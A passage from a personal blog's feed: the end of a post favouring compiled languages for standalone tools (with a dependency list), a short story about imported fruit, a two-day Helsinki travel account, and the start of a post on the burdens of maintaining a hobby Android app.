</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">28
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#268bd2">&#34;dependencies&#34;</span>: {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;@inkjs/ui&#34;</span>: <span style="color:#2aa198">&#34;^2.0.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;chalk&#34;</span>: <span style="color:#2aa198">&#34;^5.2.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;diff&#34;</span>: <span style="color:#2aa198">&#34;^7.0.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;dotenv&#34;</span>: <span style="color:#2aa198">&#34;^16.1.4&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;express&#34;</span>: <span style="color:#2aa198">&#34;^5.1.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;fast-deep-equal&#34;</span>: <span style="color:#2aa198">&#34;^3.1.3&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;fast-npm-meta&#34;</span>: <span style="color:#2aa198">&#34;^0.4.2&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;figures&#34;</span>: <span style="color:#2aa198">&#34;^6.1.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;file-type&#34;</span>: <span style="color:#2aa198">&#34;^20.1.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;https-proxy-agent&#34;</span>: <span style="color:#2aa198">&#34;^7.0.6&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;ink&#34;</span>: <span style="color:#2aa198">&#34;^5.2.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;js-yaml&#34;</span>: <span style="color:#2aa198">&#34;^4.1.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;marked&#34;</span>: <span style="color:#2aa198">&#34;^15.0.7&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;marked-terminal&#34;</span>: <span style="color:#2aa198">&#34;^7.3.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;meow&#34;</span>: <span style="color:#2aa198">&#34;^13.2.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;open&#34;</span>: <span style="color:#2aa198">&#34;^10.1.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;openai&#34;</span>: <span style="color:#2aa198">&#34;^4.95.1&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;package-manager-detector&#34;</span>: <span style="color:#2aa198">&#34;^1.2.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;react&#34;</span>: <span style="color:#2aa198">&#34;^18.2.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;shell-quote&#34;</span>: <span style="color:#2aa198">&#34;^1.8.2&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;strip-ansi&#34;</span>: <span style="color:#2aa198">&#34;^7.1.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;to-rotated&#34;</span>: <span style="color:#2aa198">&#34;^1.0.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;use-interval&#34;</span>: <span style="color:#2aa198">&#34;1.4.0&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">&#34;zod&#34;</span>: <span style="color:#2aa198">&#34;^3.24.3&#34;</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><h2 id="maintainability">Maintainability</h2>
<p>For interpreted languages like JavaScript, TypeScript, Python, or Ruby, if a dependency is removed from the
upstream repository, the shipped tool will break.
That&rsquo;s how several packages, frameworks, and standalone tools written in Javascript broke when
  
    
    
<a href="https://en.wikipedia.org/wiki/Npm_left-pad_incident?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">left-pad</a> was taken down from npm.</p>
<p>For compiled languages, the tool is self-contained and requires the dependencies to exist only at the
compile time. So, the tool will continue to work even if the upstream dependency has removed.</p>
<h2 id="my-personal-experience">My personal experience</h2>
<p>I wrote a semi-popular tool for Android development called 
<a href="/programming/adb-enhanced/">adb-enhanced</a> in Python during
the days of Python 2 and then later ported it to Python 3.</p>
<p>Since then, I have open-sourced quite a few tools like 
<a href="/programming/common-pitfalls-of-github-actions/">gabo</a>
and 
<a href="/tech/wordpress-to-hugo/">wp2hugo</a> in Go.</p>
<p>While I might write a Python library, I am never planning to write another standalone tool in
Python, Typescript, or a similar language which does not allow shipping statically-linked binaries.</p>
<h2 id="conclusion">Conclusion</h2>
<p>If you are writing standalone tools, always use a compiled language like Rust, Go, or C++.
And generate static binaries that do not require minimal external dependencies.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/go" term="go" label="go"/><category scheme="https://ashishb.net/tag/rust" term="rust" label="rust"/><category scheme="https://ashishb.net/tag/c++" term="c++" label="c++"/><category scheme="https://ashishb.net/tag/python" term="python" label="python"/></entry><entry><title type="html">Made in America</title><link href="https://ashishb.net/short-stories/made-in-america/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/doctors-per-capita/?utm_source=atom_feed" rel="related" type="text/html" title="Doctors per capita"/><link href="https://ashishb.net/short-stories/price-variance/?utm_source=atom_feed" rel="related" type="text/html" title="Price variance in the United States"/><link href="https://ashishb.net/short-stories/authentically-american/?utm_source=atom_feed" rel="related" type="text/html" title="Authentically American"/><link href="https://ashishb.net/short-stories/the-clash-of-expectations/?utm_source=atom_feed" rel="related" type="text/html" title="The clash of cultural expectations"/><link href="https://ashishb.net/short-stories/a-visit-to-gadar-memorial-in-san-francisco/?utm_source=atom_feed" rel="related" type="text/html" title="A visit to Gadar Memorial in San Francisco"/><id>https://ashishb.net/short-stories/made-in-america/</id><author><name>Ashish Bhatia</name></author><published>2025-06-21T06:00:13+00:00</published><updated>2025-06-21T06:00:13+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the global journey of fruits in your kitchen, and uncover what&rsquo;s truly &ldquo;Made in America&rdquo; in this insightful tale. Sweet, surprising, and enlightening!</blockquote><p>The figs are from 
<a href="/tag/europe/">Greece</a>.<br>
The dates from 
<a href="/tag/africa/">Tunisia</a>.<br>
The mangoes from 
<a href="/tag/mexico/">Mexico</a>.<br>
The blueberries from 
<a href="/tag/chile/">Chile</a>.<br>
The grapes from South 
<a href="/tag/africa/">Africa</a>.<br>
I explained to my mother while showing her the kitchen.</p>
<p>&ldquo;And what&rsquo;s American?&rdquo; she asked.<br>
&ldquo;The pieces of paper with Benjamin Franklin&rsquo;s portrait given to those sellers in return&rdquo;, I replied.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/><category scheme="https://ashishb.net/tag/this-american-life" term="this-american-life" label="this-american-life"/></entry><entry><title type="html">Two days in Helsinki, Finland</title><link href="https://ashishb.net/travel/helsinki-finland/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/warsaw-poland/?utm_source=atom_feed" rel="related" type="text/html" title="A short stay at Warsaw, Poland"/><link href="https://ashishb.net/travel/vilnius-lithuania/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Vilnius, Lithuania"/><link href="https://ashishb.net/travel/riga-latvia/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Riga, Latvia"/><link href="https://ashishb.net/travel/tallinn-estonia/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Tallinn, Estonia"/><link href="https://ashishb.net/travel/oslo-norway/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Oslo, Norway"/><id>https://ashishb.net/travel/helsinki-finland/</id><author><name>Ashish Bhatia</name></author><published>2025-06-14T07:00:00+00:00</published><updated>2025-06-14T07:00:00+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the secret of Finnish happiness in Helsinki. Explore saunas, a vibrant cityscape, and serene island escapes in just two days.</blockquote><p>Finnish are considered the happiest people in the world. In less than two days, I learned the secret of that.</p>
<p>I spent about two days in Helsinki, the capital of Finland, where roughly 30% of the country&rsquo;s ~6 million people reside.</p>
<h2 id="day-1---sauna-and-walking-tour">Day 1 - sauna and walking tour</h2>
<p>Compared to 
<a href="/travel/oslo-norway/">Oslo</a>, Helsinki seemed more lively.
Still below 
<a href="/travel/copenhagen/">Copenhagen</a> in my ranking, though.
One thing stood out, and that&rsquo;s Sauna.
The Finnish sauna goes up to 100ºC!
And that is the lovely enjoyment in the city of Helsinki.
There are two Saunas that I tried, one of them in a public sauna called   
    
    
<a href="https://www.sompasauna.fi/in-english?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sompasauna</a>,
a free, 24-hour sauna run fully by volunteers.
If you are planning to go here, then go at 9 or 10 PM during summer to see the full crowd.</p>
<figure>
    
    <a href="finland-sompasauna-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="finland-sompasauna-1024x768.jpg"
         alt="A man is immersed in a pool amid a Finnish sauna, surrounded by rustic wooden structures and rocky terrain, under an overcast sky." width="900"/> </a>
</figure>

<p>The second one that&rsquo;s more palatable to foreigners is   
    
    
<a href="https://allasseapool.fi/?lang=en&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Allas Sea Pool</a>, this one is set up more for tourists.
Travelers would prefer Sompasauna, while tourists would find Allas Sea Pool to be more convenient.</p>
<p>I would also recommend doing a walking tour.
The history of Finland is mostly unassuming compared to many other European countries, so
there isn&rsquo;t a lot to see.</p>
<p>Afterward, spend time at the Senate Square.</p>
<figure>
    
    <a href="finland-senate-square-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="finland-senate-square-1024x768.jpg"
         alt="A historic European square features a large building with classical architecture, surrounded by tourists and a clear sky above, contributing to a vibrant public space." width="900"/> </a>
</figure>

<p>  
    
    
<a href="https://finnisharchitecture.fi/aeolus-house/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Aeolus House</a> is considered iconic. I would choose 
<a href="/travel/barcelona-spain/">Barcelona, Spain</a>, much more for architecture, though.</p>
<figure>
    
    <a href="finland-aeolus-house-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="finland-aeolus-house-1024x768.jpg"
         alt="A modern, architecturally distinctive library in Finland features sleek, curved lines and extensive glass surfaces, contrasting with surrounding urban elements. It highlights contemporary design principles." width="900"/> </a>
</figure>

<figure>
    
    <a href="finland-central-library-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="finland-central-library-1024x768.jpg"
         alt="A modern, angular building with large windows and a wooden exterior stands prominently, set against an overcast sky, showcasing contemporary architecture." width="900"/> </a>
</figure>

<h2 id="day-2">Day 2</h2>
<p>The town has a cozy feel with trams everywhere.</p>
<figure>
    
    <a href="finland-tram-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="finland-tram-1024x768.jpg"
         alt="A town features frequent trams, evoking a cozy atmosphere, with a ferry service to Philjasaari island costing 9€ for a round trip." width="900"/> </a>
</figure>

<p>In the afternoon, I went to Philjasaari island.
It is a 9€ round-trip ferry that departs every hour and returns 40 minutes past the hour mark.
The trip was initially delayed when I got stuck due to heavy rains, which seemed to happen any time.</p>
<figure>
    
    <a href="finland-rain-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="finland-rain-1024x768.jpg"
         alt="A rainy landscape with overcast skies" width="900"/> </a>
</figure>

<p>If you like hiking, I would recommend hiking on this island for a few hours.
The island has a private sauna as well (60€ for 2 hours) and is usually booked months in advance.</p>
<figure>
    
    <a href="./finland-pihlajasaari-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="./finland-pihlajasaari-1024x768.jpg"
         alt="A scenic island landscape with lush greenery and rocky shores is seen, offering a private sauna service for 60€ for 2 hours, often booked months ahead." width="900"/> </a>
</figure>

<p>Note</p>
<ol>
<li>Unlike some other European cities, public bathrooms are free in Helsinki.</li>
<li>From Helsinki to 
<a href="/travel/tallinn-estonia">Tallinn</a>, there is a two-and-a-half-hour ferry for 20€.
The ferry is an old cruise ship converted into a ferry.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/><category scheme="https://ashishb.net/tag/finland" term="finland" label="finland"/></entry><entry><title type="html">Maintaining an Android app is a lot of work</title><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/cross-language-bridge-error-handling-js-to-java-example/?utm_source=atom_feed" rel="related" type="text/html" title="Cross-language bridge error handling: JS-to-Java Example"/><link href="https://ashishb.net/programming/intellij-wasting-disk-space/?utm_source=atom_feed" rel="related" type="text/html" title="How IntelliJ IDEs waste disk space"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/use-makefile-for-android/?utm_source=atom_feed" rel="related" type="text/html" title="Use Makefile for Android"/><link href="https://ashishb.net/programming/android-navigation-up-vs-back/?utm_source=atom_feed" rel="related" type="text/html" title="Android Navigation: Up vs Back"/><id>https://ashishb.net/programming/maintaining-android-app/</id><author><name>Ashish Bhatia</name></author><published>2025-06-07T00:30:08+00:00</published><updated>2025-06-07T00:30:08+00:00</updated><content type="html"><![CDATA[<blockquote>Lessons on maintaining a hobby Android app</blockquote><p>  
    
    
<a href="https://news.ycombinator.com/item?id=44214835&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Featured on Hacker News" loading="lazy" src="https://hackerbadge.vercel.app/api?id=44214835"></a></p>
<table>
  <thead>
      <tr>
          <th>  
    
    
<a href="https://tldr.tech/tech/2025-06-09?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="TLDR Newsletter" loading="lazy" src="/img/tldr-newsletter-badge.svg"></a></th>
          <th>  
    
    
<a href="https://www.reddit.com/r/androiddev/comments/1l5fg40/maintaining_an_android_app_is_a_lot_of_work/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Reddit r/androiddev" loading="lazy" src="/programming/maintaining-android-app/reddit-badge-1.svg"></a></th>
          <th>  
    
    
<a href="https://www.reddit.com/r/programming/comments/1l7n2go/maintaining_an_android_app_is_a_lot_of_work/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Reddit r/programming" loading="lazy" src="/programming/maintaining-android-app/reddit-badge-2.svg"></a></th>
          <th>  
    
    
<a href="https://www.reddit.com/r/linux/comments/1l7n4pj/maintaining_an_android_app_is_a_lot_of_work/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener"><img alt="Reddit r/linux" loading="lazy" src="/programming/maintaining-android-app/reddit-badge-3.svg"></a></th>
      </tr>
  </thead>
  <tbody>
  </tbody>
</table>
<p>There was   
    
    
<a href="https://techcrunch.com/2025/04/29/google-play-sees-47-decline-in-apps-since-start-of-last-year/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">recent news</a>
about 47% decline in the number of apps on Google Play Store.</p>
<p>As a hobby Android developer, who has been developing   
    
    
<a href="https://musicsync.ashishb.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">MusicSync</a>, a
  
    
    
<a href="https://musicsync.ashishb.net/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Google Play Music + Podcast replacement</a> for the last five years,
I thought I would share my experience of maintaining an Android app.
And why this reduction in the number of apps is not surprising to me.</p>
<p>I have 
<a href="/programming/how-to-deploy-side-projects-as-web-services-for-free/">several side-projects</a>
that run on a 
<a href="/tech/server-vs-mobile-development-where-code-runs-matter/">backend server</a>
with a limited web UI, and it is much less effort to maintain them.</p>
<p>However, maintaining an Android app as a side-project is a more involved affair.
And here are some of the problems I have faced.</p>
<h2 id="java-vs-kotlin">Java vs Kotlin</h2>
<p>Kotlin is clearly the preferred language of development if you are starting a new Android project in 2025.
But what if you are maintaining a hobby project written in Java?
You will start seeing incompatibility when your dependencies are re-written in Kotlin.</p>
<ul>
<li>If you depend on a library that uses   
    
    
<a href="https://github.com/prof18/RSS-Parser/issues/160?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Kotlin&rsquo;s coroutines</a>
or relies on Kotlin&rsquo;s   
    
    
<a href="https://coil-kt.github.io/coil/java_compatibility/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">suspend functions</a>,
then you will have to work around it, or rewrite your app in Kotlin as well!</li>
<li>Jetpack Compose, an official Google UI library for Android is
  
    
    
<a href="https://stackoverflow.com/questions/66433437/can-i-write-jetpack-compose-components-in-java?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">entirely unusable</a> from Java.</li>
<li>I would imagine that if you started with Kotlin first then a big chunk of StackOverflow questions written for
Java audiences require you translate them to corresponding Kotlin code as well</li>
</ul>
<p>To their credit, Android documentation still gives code samples in both Java and Kotlin.</p>
<h2 id="google-makes-breaking-changes-to-its-libraries">Google makes breaking changes to its libraries</h2>
<p>Google has a habit of making breaking changes to its Android libraries.
Here&rsquo;s a list of some of the libraries that I have used in my app and the issues I have faced.</p>
<h3 id="media-3">Media 3</h3>
<p>Android ships with   
    
    
<a href="https://developer.android.com/reference/android/media/MediaPlayer?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">MediaPlayer</a>.
Google recommends its open-source library   
    
    
<a href="https://github.com/google/ExoPlayer?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ExoPlayer</a>.
  
    
    
<a href="https://github.com/google/ExoPlayer/tree/release-v1?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ExoPlayer V1</a> was last released in 2017.
It was replaced with backward-incompatible   
    
    
<a href="https://github.com/google/ExoPlayer/tree/release-v2?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">ExoPlayer V2</a> which
was last released in July 2024.
And now, it has now been replaced with
  
    
    
<a href="https://www.reddit.com/r/androiddev/comments/1atqkjs/is_media3_migration_worth_it/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">backward-incompatible media3</a>.
The   
    
    
<a href="https://github.com/google/ExoPlayer/blob/release-v2/media3-migration.sh?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Google provided migration script</a> is far
from being complete.</p>
<p>Further, media3 does not follow semantic versioning,   
    
    
<a href="https://github.com/androidx/media/issues/2278?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">minor version upgrades</a>
has resulted in breaking API changes.</p>
<h3 id="google-auth-library">Google Auth library</h3>
<p>Google&rsquo;s own Auth library had a bug and 
<a href="/programming/end-to-end-testing-mobile-apps/">sign-in was broken</a>
for API 26 and lower for   
    
    
<a href="https://gist.github.com/ashishb/108a095603446fa39eb901b006642af6?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">months</a>.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Java
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Java" data-lang="Java"><span style="display:flex;"><span>java.lang.NoSuchMethodError: No virtual method <span style="color:#268bd2">getAndSetObject</span>(Ljava<span style="color:#719e07">/</span>lang<span style="color:#719e07">/</span>Object;JLjava<span style="color:#719e07">/</span>lang<span style="color:#719e07">/</span>Object;)Ljava<span style="color:#719e07">/</span>lang<span style="color:#719e07">/</span>Object;
</span></span><span style="display:flex;"><span>in <span style="color:#268bd2">class</span> <span style="color:#268bd2">Lsun</span><span style="color:#719e07">/</span>misc<span style="color:#719e07">/</span>Unsafe; or its <span style="color:#268bd2">super</span> <span style="color:#268bd2">classes</span>
</span></span><span style="display:flex;"><span>(declaration of &#39;sun.misc.Unsafe&#39; appears in <span style="color:#719e07">/</span>system<span style="color:#719e07">/</span>framework<span style="color:#719e07">/</span>core<span style="color:#719e07">-</span>libart.jar)
</span></span><span style="display:flex;"><span>  E  at com.google.common.util.concurrent.AbstractFuture$UnsafeAtomicHelper.gasWaiters(AbstractFuture.java:1394)
</span></span><span style="display:flex;"><span>  E  at com.google.common.util.concurrent.AbstractFuture.releaseWaiters(AbstractFuture.java:1110)
</span></span><span style="display:flex;"><span>  E  at com.google.common.util.concurrent.AbstractFuture.complete(AbstractFuture.java:1000)
</span></span><span style="display:flex;"><span>  E  at com.google.common.util.concurrent.AbstractFuture.set(AbstractFuture.java:783)
</span></span><span style="display:flex;"><span>  E  at com.google.auth.oauth2.OAuth2Credentials$RefreshTask.access$400(OAuth2Credentials.java:600)
</span></span><span style="display:flex;"><span>  E  at com.google.auth.oauth2.OAuth2Credentials$RefreshTask$1.onSuccess(OAuth2Credentials.java:617)
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
